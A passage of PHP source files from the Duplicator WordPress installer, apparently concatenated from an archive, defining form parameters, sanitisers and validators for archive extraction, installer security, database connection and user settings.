href="https://duplicator.com/knowledge-base/how-to-handle-various-install-scenarios" target="_blank">[more info]</a> SUBNOTEHTML; } if (($zipEnable = ($archiveConfig->isZipArchive() && \DUPX_Conf_Utils::archiveExists() && \DUPX_Conf_Utils::classZipArchiveEnable())) === true) { $acceptValues[] = DUP_Extraction::ENGINE_ZIP; $acceptValues[] = DUP_Extraction::ENGINE_ZIP_CHUNK; } if (($shellZipEnable = ($archiveConfig->isZipArchive() && \DUPX_Conf_Utils::archiveExists() && \DUPX_Conf_Utils::shellExecUnzipEnable())) === true) { $acceptValues[] = DUP_Extraction::ENGINE_ZIP_SHELL; } if (($dupEnable = (!$archiveConfig->isZipArchive() && \DUPX_Conf_Utils::archiveExists())) === true) { $acceptValues[] = DUP_Extraction::ENGINE_DUP; } $options = array(); $options[] = new ParamOption( DUP_Extraction::ENGINE_MANUAL, 'Manual Archive Extraction', $manualEnable ? ParamOption::OPT_ENABLED : ParamOption::OPT_DISABLED ); if ($archiveConfig->isZipArchive()) { //ZIP-ARCHIVE $options[] = new ParamOption( DUP_Extraction::ENGINE_ZIP, 'PHP ZipArchive', $zipEnable ? ParamOption::OPT_ENABLED : ParamOption::OPT_DISABLED ); $options[] = new ParamOption( DUP_Extraction::ENGINE_ZIP_CHUNK, 'PHP ZipArchive Chunking', $zipEnable ? ParamOption::OPT_ENABLED : ParamOption::OPT_DISABLED ); $options[] = new ParamOption( DUP_Extraction::ENGINE_ZIP_SHELL, 'Shell Exec Unzip', function () { $archiveConfig = \DUPX_ArchiveConfig::getInstance(); $pathsMapping = $archiveConfig->getPathsMapping(); if (PrmMng::getInstance()->getValue(PrmMng::PARAM_ARCHIVE_ENGINE_SKIP_WP_FILES) !== DUP_Extraction::FILTER_NONE) { return ParamOption::OPT_DISABLED; } if (is_array($pathsMapping) && count($pathsMapping) > 1) { return ParamOption::OPT_DISABLED; } if ($archiveConfig->isZipArchive() && \DUPX_Conf_Utils::archiveExists() && \DUPX_Conf_Utils::shellExecUnzipEnable()) { return ParamOption::OPT_ENABLED; } return ParamOption::OPT_DISABLED; } ); } else { // DUPARCHIVE $options[] = new ParamOption( DUP_Extraction::ENGINE_DUP, 'DupArchive', $dupEnable ? ParamOption::OPT_ENABLED : ParamOption::OPT_DISABLED ); } if ($manualEnable) { $default = DUP_Extraction::ENGINE_MANUAL; } elseif ($zipEnable) { $default = DUP_Extraction::ENGINE_ZIP_CHUNK; } elseif ($shellZipEnable) { $default = DUP_Extraction::ENGINE_ZIP_SHELL; } elseif ($dupEnable) { $default = DUP_Extraction::ENGINE_DUP; } else { $default = null; } return array( 'options' => $options, 'acceptValues' => $acceptValues, 'default' => $default, 'subNote' => $subNote ); } } Params/Descriptors/ParamDescSecurity.php 0000644 00000007233 15136236440 0014401 0 ustar 00 <?php /** * Generic params descriptions * * @category Duplicator * @package Installer * @author Snapcreek <admin@snapcreek.com> * @copyright 2011-2021 Snapcreek LLC * @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3 */ namespace Duplicator\Installer\Core\Params\Descriptors; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Core\Params\Items\ParamItem; use Duplicator\Installer\Core\Params\Items\ParamForm; use Duplicator\Installer\Core\Params\Items\ParamFormPass; use DUPX_ArchiveConfig; use DUPX_InstallerState; use DUPX_Security; use DUPX_View_Funcs; /** * class where all parameters are initialized. Used by the param manager */ final class ParamDescSecurity implements DescriptorInterface { /** * Init params * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function init(&$params) { $params[PrmMng::PARAM_SECURE_PASS] = new ParamFormPass( PrmMng::PARAM_SECURE_PASS, ParamFormPass::TYPE_STRING, ParamFormPass::FORM_TYPE_PWD_TOGGLE, array( 'persistence' => false, 'default' => null, 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewline') ), array( 'label' => 'Password:', 'status' => function (ParamForm $param) { if (DUPX_Security::getInstance()->getSecurityType() == DUPX_Security::SECURITY_PASSWORD) { return ParamForm::STATUS_ENABLED; } else { return ParamForm::STATUS_DISABLED; } }, 'wrapperClasses' => 'margin-bottom-1', 'attr' => array( 'placeholder' => (DUPX_ArchiveConfig::getInstance()->secure_on ? '' : 'Password not enabled') ) ) ); $params[PrmMng::PARAM_SECURE_ARCHIVE_HASH] = new ParamForm( PrmMng::PARAM_SECURE_ARCHIVE_HASH, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( 'persistence' => false, 'default' => null, 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewlineTrim') ), array( 'label' => 'Archive File Name:', 'status' => function (ParamForm $param) { if (!DUPX_InstallerState::isOverwrite()) { return ParamForm::STATUS_SKIP; } elseif (DUPX_Security::getInstance()->getSecurityType() == DUPX_Security::SECURITY_ARCHIVE) { return ParamForm::STATUS_ENABLED; } else { return ParamForm::STATUS_DISABLED; } }, 'wrapperClasses' => 'margin-bottom-4', 'attr' => array( 'placeholder' => 'example: [full-unique-name]_archive.zip' ), 'subNote' => DUPX_View_Funcs::helpLink('secure', 'How to get archive file name?', false) ) ); $params[PrmMng::PARAM_SECURE_OK] = new ParamItem( PrmMng::PARAM_SECURE_OK, ParamForm::TYPE_BOOL, array( 'default' => false ) ); } /** * Update params after overwrite logic * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function updateParamsAfterOverwrite($params) { } } Params/Descriptors/ParamDescDatabase.php 0000644 00000046354 15136236440 0014305 0 ustar 00 <?php /** * Database params descriptions * * @category Duplicator * @package Installer * @author Snapcreek <admin@snapcreek.com> * @copyright 2011-2021 Snapcreek LLC * @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3 */ namespace Duplicator\Installer\Core\Params\Descriptors; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Core\Params\Descriptors\ParamsDescriptors; use Duplicator\Installer\Core\Params\Items\ParamItem; use Duplicator\Installer\Core\Params\Items\ParamForm; use Duplicator\Installer\Core\Params\Items\ParamOption; use Duplicator\Installer\Core\Params\Items\ParamFormTables; use Duplicator\Installer\Core\Params\Items\ParamFormPass; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\Snap\SnapJson; use Duplicator\Libs\Snap\SnapUtil; use DUPX_InstallerState; /** * class where all parameters are initialized. Used by the param manager */ final class ParamDescDatabase implements DescriptorInterface { const INVALID_EMPTY = 'can\'t be empty'; const EMPTY_COLLATION_LABEL = ' --- DEFAULT --- '; const DEFAULT_CHARSET_POSTFIX = ' (Default)'; const DEFAULT_COLLATE_POSTFIX = ' (Default)'; const SPLIT_CREATE_MAX_VALUE_TO_DEFAULT = 200; /** * Init params * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function init(&$params) { $archiveConfig = \DUPX_ArchiveConfig::getInstance(); $params[PrmMng::PARAM_DB_DISPLAY_OVERWIRE_WARNING] = new ParamItem( PrmMng::PARAM_DB_DISPLAY_OVERWIRE_WARNING, ParamItem::TYPE_BOOL, array( 'default' => true ) ); $params[PrmMng::PARAM_DB_VIEW_MODE] = new ParamForm( PrmMng::PARAM_DB_VIEW_MODE, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_BGROUP, array( 'default' => 'basic', 'acceptValues' => array( 'basic', 'cpnl' ) ), array( 'label' => 'Database view mode', 'renderLabel' => false, 'options' => array( new ParamOption('basic', 'Default'), new ParamOption('cpnl', 'cPanel') ), 'wrapperClasses' => array('revalidate-on-change', 'align-right'), 'inputContainerClasses' => array('small') ) ); $params[PrmMng::PARAM_DB_HOST] = new ParamForm( PrmMng::PARAM_DB_HOST, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( 'persistence' => true, 'default' => 'localhost', 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewline'), 'validateCallback' => array(__CLASS__, 'validateNoEmptyIfBasic'), 'invalidMessage' => self::INVALID_EMPTY ), array( 'label' => 'Host:', 'wrapperClasses' => array('revalidate-on-change'), 'attr' => array( 'required' => 'required', 'placeholder' => 'localhost' ) ) ); $params[PrmMng::PARAM_DB_NAME] = new ParamForm( PrmMng::PARAM_DB_NAME, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( 'persistence' => true, 'default' => '', 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewline'), 'validateCallback' => array(__CLASS__, 'validateNoEmptyIfBasic'), 'invalidMessage' => self::INVALID_EMPTY ), array( 'label' => 'Database:', 'wrapperClasses' => array('revalidate-on-change'), 'attr' => array( 'required' => 'required', 'placeholder' => 'new or existing database name' ), 'subNote' => dupxTplRender('parts/params/db-name-notes', array(), false) ) ); $params[PrmMng::PARAM_DB_USER] = new ParamForm( PrmMng::PARAM_DB_USER, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( 'persistence' => true, 'default' => '', 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewline'), 'validateCallback' => array(__CLASS__, 'validateNoEmptyIfBasic'), 'invalidMessage' => self::INVALID_EMPTY ), array( 'label' => 'User:', 'wrapperClasses' => array('revalidate-on-change'), 'attr' => array( 'placeholder' => 'valid database username', // Can be written field wise // Ref. https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion 'autocomplete' => "off" ) ) ); $params[PrmMng::PARAM_DB_PASS] = new ParamFormPass( PrmMng::PARAM_DB_PASS, ParamFormPass::TYPE_STRING, ParamFormPass::FORM_TYPE_PWD_TOGGLE, array( 'persistence' => true, 'default' => '', 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewline') ), array( 'label' => 'Password:', 'wrapperClasses' => array('revalidate-on-change'), 'attr' => array( 'placeholder' => 'valid database user password', // Can be written field wise // Ref. https://devBasicBasiceloper.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion 'autocomplete' => "off" ) ) ); $params[PrmMng::PARAM_DB_FLAG] = new ParamItem( PrmMng::PARAM_DB_FLAG, ParamForm::TYPE_INT, array( 'default' => \DUPX_DB::DB_CONNECTION_FLAG_NOT_SET, 'acceptValues' => function (ParamItem $param) { $result = array( \DUPX_DB::MYSQLI_CLIENT_NO_FLAGS, MYSQLI_CLIENT_SSL, ); if (defined("MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT")) { $result[] = MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT; } return $result; } ) ); $params[PrmMng::PARAM_DB_CHARSET] = new ParamForm( PrmMng::PARAM_DB_CHARSET, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_SELECT, array( 'default' => $archiveConfig->getWpConfigDefineValue('DB_CHARSET', ''), 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewlineTrim'), 'validateRegex' => ParamForm::VALIDATE_REGEX_AZ_NUMBER_SEP_EMPTY ), array( 'label' => 'Charset:', 'status' => function (ParamForm $param) { if (DUPX_InstallerState::isRestoreBackup()) { return ParamForm::STATUS_INFO_ONLY; } else { return ParamForm::STATUS_ENABLED; } }, 'options' => array(__CLASS__, 'getCharsetSelectOptions') ) ); $params[PrmMng::PARAM_DB_COLLATE] = new ParamForm( PrmMng::PARAM_DB_COLLATE, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_SELECT, array( 'default' => $archiveConfig->getWpConfigDefineValue('DB_COLLATE', ''), 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewlineTrim'), 'validateRegex' => ParamForm::VALIDATE_REGEX_AZ_NUMBER_SEP_EMPTY ), array( 'label' => 'Collation:', 'status' => function () { if (DUPX_InstallerState::isRestoreBackup()) { return ParamForm::STATUS_INFO_ONLY; } else { return ParamForm::STATUS_ENABLED; } }, 'options' => array(__CLASS__, 'getCollationSelectOptions') ) ); $params[PrmMng::PARAM_DB_TABLE_PREFIX] = new ParamForm( PrmMng::PARAM_DB_TABLE_PREFIX, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( 'default' => \DUPX_ArchiveConfig::getInstance()->wp_tableprefix, 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewlineTrim'), 'validateRegex' => ParamForm::VALIDATE_REGEX_AZ_NUMBER_SEP ), array( 'status' => function () { return ParamForm::STATUS_DISABLED; }, 'label' => 'Table Prefix:', 'proFlagTitle' => 'Upgrade Features', 'proFlag' => '<p>Enhance the install experiance by changing the table prefix to a new name during installation.</p>' ) ); $params[PrmMng::PARAM_DB_VIEW_CREATION] = new ParamForm( PrmMng::PARAM_DB_VIEW_CREATION, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => true ), array( 'label' => 'Objects:', 'checkboxLabel' => 'Enable View Creation' ) ); $params[PrmMng::PARAM_DB_PROC_CREATION] = new ParamForm( PrmMng::PARAM_DB_PROC_CREATION, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => true ), array( 'label' => ' ', 'checkboxLabel' => 'Enable Stored Procedure Creation' ) ); $params[PrmMng::PARAM_DB_FUNC_CREATION] = new ParamForm( PrmMng::PARAM_DB_FUNC_CREATION, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => true ), array( 'label' => ' ', 'checkboxLabel' => 'Enable Function Creation' ) ); $params[PrmMng::PARAM_DB_REMOVE_DEFINER] = new ParamForm( PrmMng::PARAM_DB_REMOVE_DEFINER, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => false ), array( 'label' => ' ', 'checkboxLabel' => 'Remove security DEFINER declarations' ) ); $numTables = count((array) \DUPX_ArchiveConfig::getInstance()->dbInfo->tablesList); $params[PrmMng::PARAM_DB_SPLIT_CREATES] = new ParamForm( PrmMng::PARAM_DB_SPLIT_CREATES, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_CHECKBOX, array( 'default' => ($numTables > self::SPLIT_CREATE_MAX_VALUE_TO_DEFAULT ? false : true) ), array( 'label' => 'Create:', 'checkboxLabel' => 'Run all CREATE SQL statements at once' ) ); $newObj = new ParamForm( PrmMng::PARAM_DB_MYSQL_MODE_OPTS, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( 'default' => '', 'validateRegex' => '/^[A-Za-z0-9_\-,]*$/', // db options with , and can be empty 'sanitizeCallback' => function ($value) { $value = SnapUtil::sanitizeNSCharsNewlineTrim($value); return str_replace(' ', '', $value); }, ), array( 'label' => ' ', // for aligment at PARAM_DB_MYSQL_MODE 'wrapperClasses' => 'no-display', 'subNote' => 'Separate additional ' . \DUPX_View_Funcs::helpLink('step2', 'sql modes', false) . ' with commas & no spaces.<br>' . 'Example: <i>NO_ENGINE_SUBSTITUTION,NO_ZERO_IN_DATE,...</i>.</small>' ) ); $params[PrmMng::PARAM_DB_MYSQL_MODE_OPTS] = $newObj; $modeOptsWrapper = $newObj->getFormWrapperId(); $params[PrmMng::PARAM_DB_MYSQL_MODE] = new ParamForm( PrmMng::PARAM_DB_MYSQL_MODE, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_RADIO, array( 'default' => 'DEFAULT', 'acceptValues' => array( 'DEFAULT', 'DISABLE', 'CUSTOM' ) ), array( 'label' => 'Mode:', 'options' => array( new ParamOption('DEFAULT', 'Default', ParamOption::OPT_ENABLED, array( 'onchange' => "if ($(this).is(':checked')) { " . "jQuery('#" . $modeOptsWrapper . "').addClass('no-display');" . "}" )), new ParamOption('DISABLE', 'Disable', ParamOption::OPT_ENABLED, array( 'onchange' => "if ($(this).is(':checked')) { " . "jQuery('#" . $modeOptsWrapper . "').addClass('no-display');" . "}" )), new ParamOption('CUSTOM', 'Custom', ParamOption::OPT_ENABLED, array( 'onchange' => "if ($(this).is(':checked')) { " . "jQuery('#" . $modeOptsWrapper . "').removeClass('no-display');" . "}")), )) ); $params[PrmMng::PARAM_DB_TABLES] = new ParamFormTables( PrmMng::PARAM_DB_TABLES, ParamFormTables::TYPE_ARRAY_TABLES, ParamFormTables::FORM_TYPE_TABLES_SELECT, array(// ITEM ATTRIBUTES 'default' => array() ), array(// FORM ATTRIBUTES 'label' => 'Tables', 'renderLabel' => false, 'status' => function (ParamForm $paramObj) { if (DUPX_InstallerState::isRestoreBackup()) { return ParamForm::STATUS_INFO_ONLY; } else { return ParamForm::STATUS_ENABLED; } } ) ); } /** * Validate function for database params * * @param mixed $value input value * @param ParamItem $paramObj current param object * * @return boolean */ public static function validateNoEmptyIfBasic($value, ParamItem $paramObj) { if (PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_VIEW_MODE) !== 'basic') { return true; } return ParamsDescriptors::validateNotEmpty($value, $paramObj); } /** * Get charset options list * * @return ParamOption[] */ public static function getCharsetSelectOptions() { if (PrmMng::getInstance()->getValue(PrmMng::PARAM_VALIDATION_LEVEL) < \DUPX_Validation_manager::MIN_LEVEL_VALID) { return array(); } $data = \DUPX_DB_Functions::getInstance()->getCharsetAndCollationData(); $charsetDef = \DUPX_DB_Functions::getInstance()->getDefaultCharset(); $options = array(); foreach ($data as $charset => $charsetInfo) { $label = $charset . ($charset == $charsetDef ? self::DEFAULT_CHARSET_POSTFIX : ''); $options[] = new ParamOption($charset, $label, ParamOption::OPT_ENABLED, array( 'data-collations' => json_encode($charsetInfo['collations']), 'data-collation-default' => $charsetInfo['defCollation'] )); } return $options; } /** * Get collation options list * * @return ParamOption[] */ public static function getCollationSelectOptions() { $options = array( new ParamOption('', self::EMPTY_COLLATION_LABEL) ); if (PrmMng::getInstance()->getValue(PrmMng::PARAM_VALIDATION_LEVEL) < \DUPX_Validation_manager::MIN_LEVEL_VALID) { return $options; } $data = \DUPX_DB_Functions::getInstance()->getCharsetAndCollationData(); $currentCharset = PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_CHARSET); if (!isset($data[$currentCharset])) { return $options; } $defaultCollation = \DUPX_DB_Functions::getInstance()->getDefaultCollateOfCharset($currentCharset); // if charset exists update default $options = array( new ParamOption('', self::EMPTY_COLLATION_LABEL . ' [' . $defaultCollation . ']') ); foreach ($data[$currentCharset]['collations'] as $collation) { $label = $collation . ($collation == $data[$currentCharset]['defCollation'] ? self::DEFAULT_COLLATE_POSTFIX : ''); $options[] = new ParamOption($collation, $label); } return $options; } /** * Update Charset and collate param by database settings * * @return void */ public static function updateCharsetAndCollateByDatabaseSettings() { $paramsManager = PrmMng::getInstance(); $data = \DUPX_DB_Functions::getInstance()->getCharsetAndCollationData(); $charsetDef = \DUPX_DB_Functions::getInstance()->getDefaultCharset(); $currentCharset = $paramsManager->getValue(PrmMng::PARAM_DB_CHARSET); $currentCollate = $paramsManager->getValue(PrmMng::PARAM_DB_COLLATE); if (!array_key_exists($currentCharset, $data)) { $paramsManager->setValue(PrmMng::PARAM_DB_CHARSET, $charsetDef); $paramsManager->setValue(PrmMng::PARAM_DB_COLLATE, ''); Log::info('DEFAULT DB_CHARSET [' . $currentCharset . '] isn\'t valid, update DB_CHARSET to ' . $charsetDef . ' and DB_COLLATE set empty'); } elseif (strlen($currentCollate) > 0 && !in_array($currentCollate, $data[$currentCharset]['collations'])) { $paramsManager->setValue(PrmMng::PARAM_DB_COLLATE, ''); Log::info('DEFAULT DB_COLLATE [' . $currentCollate . '] isn\'t valid, DB_COLLATE set empty'); } $paramsManager->save(); } /** * Update params after overwrite logic * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function updateParamsAfterOverwrite($params) { $params[PrmMng::PARAM_DB_TABLES]->setValue(\DUPX_DB_Tables::getInstance()->getDefaultParamValue()); } } Params/Descriptors/ParamsDescriptors.php 0000644 00000012225 15136236440 0014454 0 ustar 00 <?php /** * Main params descriptions * * @category Duplicator * @package Installer * @author Snapcreek <admin@snapcreek.com> * @copyright 2011-2021 Snapcreek LLC * @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3 */ namespace Duplicator\Installer\Core\Params\Descriptors; use Duplicator\Installer\Core\Hooks\HooksMng; use Duplicator\Installer\Core\Params\Items\ParamItem; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\Snap\SnapUtil; use Duplicator\Libs\Snap\SnapIO; /** * class where all parameters are initialized. Used by the param manager */ final class ParamsDescriptors { /** * Params init * * @return void */ public static function init() { HooksMng::getInstance()->addAction('after_params_overwrite', array(__CLASS__, 'updateParamsAfterOverwrite')); } /** * Init params * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function initParams(&$params) { ParamDescUrlsPaths::init($params); ParamDescController::init($params); ParamDescSecurity::init($params); ParamDescGeneric::init($params); ParamDescConfigs::init($params); ParamDescEngines::init($params); ParamDescValidation::init($params); ParamDescDatabase::init($params); ParamDescReplace::init($params); ParamDescPlugins::init($params); ParamDescUsers::init($params); ParamDescNewAdmin::init($params); ParamDescWpConfig::init($params); } /** * Update params after overwrite logic * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function updateParamsAfterOverwrite($params) { Log::info('UPDATE PARAMS AFTER OVERWRITE', Log::LV_DETAILED); ParamDescUrlsPaths::updateParamsAfterOverwrite($params); ParamDescController::updateParamsAfterOverwrite($params); ParamDescSecurity::updateParamsAfterOverwrite($params); ParamDescGeneric::updateParamsAfterOverwrite($params); ParamDescConfigs::updateParamsAfterOverwrite($params); ParamDescEngines::updateParamsAfterOverwrite($params); ParamDescValidation::updateParamsAfterOverwrite($params); ParamDescDatabase::updateParamsAfterOverwrite($params); ParamDescReplace::updateParamsAfterOverwrite($params); ParamDescPlugins::updateParamsAfterOverwrite($params); ParamDescUsers::updateParamsAfterOverwrite($params); ParamDescNewAdmin::updateParamsAfterOverwrite($params); ParamDescWpConfig::updateParamsAfterOverwrite($params); } /** * Validate function, return true if value isn't empty * * @param mixed $value input value * @param ParamItem $paramObj current param object * * @return boolean */ public static function validateNotEmpty($value, ParamItem $paramObj) { if (is_string($value)) { $result = strlen($value) > 0; } else { $result = !empty($value); } if ($result == false) { $paramObj->setInvalidMessage('Can\'t be empty'); } return true; } /** * Sanitize path * * @param string $value input value * * @return string */ public static function sanitizePath($value) { $result = SnapUtil::sanitizeNSCharsNewlineTrim($value); return SnapIO::safePathUntrailingslashit($result); } /** * The path can't be empty * * @param string $value input value * @param ParamItem $paramObj current param object * * @return bool */ public static function validatePath($value, ParamItem $paramObj) { if (strlen($value) > 1) { return true; } else { $paramObj->setInvalidMessage('Path can\'t empty'); return false; } } /** * Sanitize URL * * @param string $value input value * * @return string */ public static function sanitizeUrl($value) { $result = SnapUtil::sanitizeNSCharsNewlineTrim($value); if (empty($value)) { return ''; } // if scheme not set add http by default if (!preg_match('/^[a-zA-Z]+\:\/\//', $result)) { $result = 'http://' . ltrim($result, '/'); } return rtrim($result, '/\\'); } /** * The URL can't be empty * * @param string $value input value * @param ParamItem $paramObj current param object * * @return bool */ public static function validateUrlWithScheme($value, ParamItem $paramObj) { if (strlen($value) == 0) { $paramObj->setInvalidMessage('URL can\'t be empty'); return false; } if (($parsed = parse_url($value)) === false) { $paramObj->setInvalidMessage('URL isn\'t valid'); return false; } if (!isset($parsed['host']) || empty($parsed['host'])) { $paramObj->setInvalidMessage('URL must be a valid host'); return false; } return true; } } Params/Descriptors/ParamDescUsers.php 0000644 00000014765 15136236440 0013703 0 ustar 00 <?php /** * Users params descriptions * * @category Duplicator * @package Installer * @author Snapcreek <admin@snapcreek.com> * @copyright 2011-2021 Snapcreek LLC * @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3 */ namespace Duplicator\Installer\Core\Params\Descriptors; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Core\Params\Items\ParamItem; use Duplicator\Installer\Core\Params\Items\ParamForm; use Duplicator\Installer\Core\Params\Items\ParamOption; use Duplicator\Installer\Core\Params\Items\ParamFormUsersReset; use DUPX_DBInstall; use DUPX_InstallerState; /** * class where all parameters are initialized. Used by the param manager */ final class ParamDescUsers implements DescriptorInterface { const USER_MODE_OVERWRITE = 'overwrite'; const USER_MODE_IMPORT_USERS = 'import_users'; /** * Init params * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function init(&$params) { $params[PrmMng::PARAM_USERS_MODE] = new ParamForm( PrmMng::PARAM_USERS_MODE, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_RADIO, array( 'default' => self::USER_MODE_OVERWRITE, 'sanitizeCallback' => function ($value) { if ( DUPX_InstallerState::getInstance()->getMode() !== DUPX_InstallerState::MODE_OVR_INSTALL || DUPX_InstallerState::isRestoreBackup() ) { // if is restore backup user mode must be overwrite return ParamDescUsers::USER_MODE_OVERWRITE; } $overwriteData = PrmMng::getInstance()->getValue(PrmMng::PARAM_OVERWRITE_SITE_DATA); if ($overwriteData['isMultisite']) { return ParamDescUsers::USER_MODE_OVERWRITE; } // disable keep users for some db actions switch (PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_ACTION)) { case DUPX_DBInstall::DBACTION_CREATE: case DUPX_DBInstall::DBACTION_MANUAL: case DUPX_DBInstall::DBACTION_ONLY_CONNECT: return ParamDescUsers::USER_MODE_OVERWRITE; case DUPX_DBInstall::DBACTION_EMPTY: case DUPX_DBInstall::DBACTION_REMOVE_ONLY_TABLES: case DUPX_DBInstall::DBACTION_RENAME: return $value; } }, 'acceptValues' => array( self::USER_MODE_OVERWRITE, self::USER_MODE_IMPORT_USERS ) ), array( 'status' => function () { /* Hide user mode instandalone migration for now */ return ParamForm::STATUS_SKIP; if (DUPX_InstallerState::getInstance()->getMode() !== DUPX_InstallerState::MODE_OVR_INSTALL) { return ParamForm::STATUS_DISABLED; } $overwriteData = PrmMng::getInstance()->getValue(PrmMng::PARAM_OVERWRITE_SITE_DATA); if ( $overwriteData['isMultisite'] || DUPX_InstallerState::isRestoreBackup() ) { return ParamForm::STATUS_DISABLED; } return ParamForm::STATUS_ENABLED; }, 'label' => 'Users:', 'options' => function ($item) { $result = array(); $result[] = new ParamOption(ParamDescUsers::USER_MODE_OVERWRITE, 'Overwrite'); $result[] = new ParamOption(ParamDescUsers::USER_MODE_IMPORT_USERS, 'Merge'); return $result; }, 'inlineHelp' => dupxTplRender('parts/params/inline_helps/user_mode', array(), false), 'wrapperClasses' => array('revalidate-on-change') ) ); $params[PrmMng::PARAM_USERS_PWD_RESET] = new ParamFormUsersReset( PrmMng::PARAM_USERS_PWD_RESET, ParamFormUsersReset::TYPE_ARRAY_STRING, ParamFormUsersReset::FORM_TYPE_USERS_PWD_RESET, array( // ITEM ATTRIBUTES 'default' => array_map(function ($value) { return ''; }, \DUPX_ArchiveConfig::getInstance()->getUsersLists()), 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewlineTrim'), 'validateCallback' => function ($value) { return strlen($value) == 0 || strlen($value) >= \DUPX_Constants::MIN_NEW_PASSWORD_LEN; }, 'validateCallback' => function ($value, ParamItem $paramObj) { if (strlen($value) > 0 && strlen($value) < \DUPX_Constants::MIN_NEW_PASSWORD_LEN) { $paramObj->setInvalidMessage('New password must have ' . \DUPX_Constants::MIN_NEW_PASSWORD_LEN . ' or more characters'); return false; } return true; } ), array( // FORM ATTRIBUTES 'status' => function ($paramObj) { if (ParamDescUsers::getUsersMode() != ParamDescUsers::USER_MODE_OVERWRITE) { return ParamForm::STATUS_DISABLED; } else { return ParamForm::STATUS_ENABLED; } }, 'label' => 'Existing user reset password:', 'classes' => 'strength-pwd-check', 'attr' => array( 'title' => \DUPX_Constants::MIN_NEW_PASSWORD_LEN . ' characters minimum', 'placeholder' => "Reset user password" ) ) ); } /** * Return import users mode * * @return string */ public static function getUsersMode() { $paramsManager = PrmMng::getInstance(); return $paramsManager->getValue(PrmMng::PARAM_USERS_MODE); } /** * Update params after overwrite logic * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function updateParamsAfterOverwrite($params) { } } Params/Descriptors/ParamDescNewAdmin.php 0000644 00000020407 15136236440 0014272 0 ustar 00 <?php /** * New admin params descriptions * * @category Duplicator * @package Installer * @author Snapcreek <admin@snapcreek.com> * @copyright 2011-2021 Snapcreek LLC * @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3 */ namespace Duplicator\Installer\Core\Params\Descriptors; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Core\Params\Items\ParamItem; use Duplicator\Installer\Core\Params\Items\ParamForm; use Duplicator\Installer\Core\Params\Items\ParamFormPass; /** * class where all parameters are initialized. Used by the param manager */ final class ParamDescNewAdmin implements DescriptorInterface { /** * Init params * * @param ParamItem[]|ParamForm[] $params params list * * @return void */ public static function init(&$params) { $params[PrmMng::PARAM_WP_ADMIN_CREATE_NEW] = new ParamForm( PrmMng::PARAM_WP_ADMIN_CREATE_NEW, ParamForm::TYPE_BOOL, ParamForm::FORM_TYPE_SWITCH, array( 'default' => false ), array( 'label' => 'Create New User:', 'status' => function ($paramObj) { if (ParamDescUsers::getUsersMode() != ParamDescUsers::USER_MODE_OVERWRITE) { return ParamForm::STATUS_DISABLED; } else { return ParamForm::STATUS_ENABLED; } }, 'checkboxLabel' => '' ) ); $params[PrmMng::PARAM_WP_ADMIN_NAME] = new ParamForm( PrmMng::PARAM_WP_ADMIN_NAME, ParamForm::TYPE_STRING, ParamForm::FORM_TYPE_TEXT, array( 'default' => '', 'sanitizeCallback' => array('Duplicator\\Libs\\Snap\\SnapUtil', 'sanitizeNSCharsNewlineTrim'), 'validateCallback' => function ($value, ParamItem $paramObj) { if 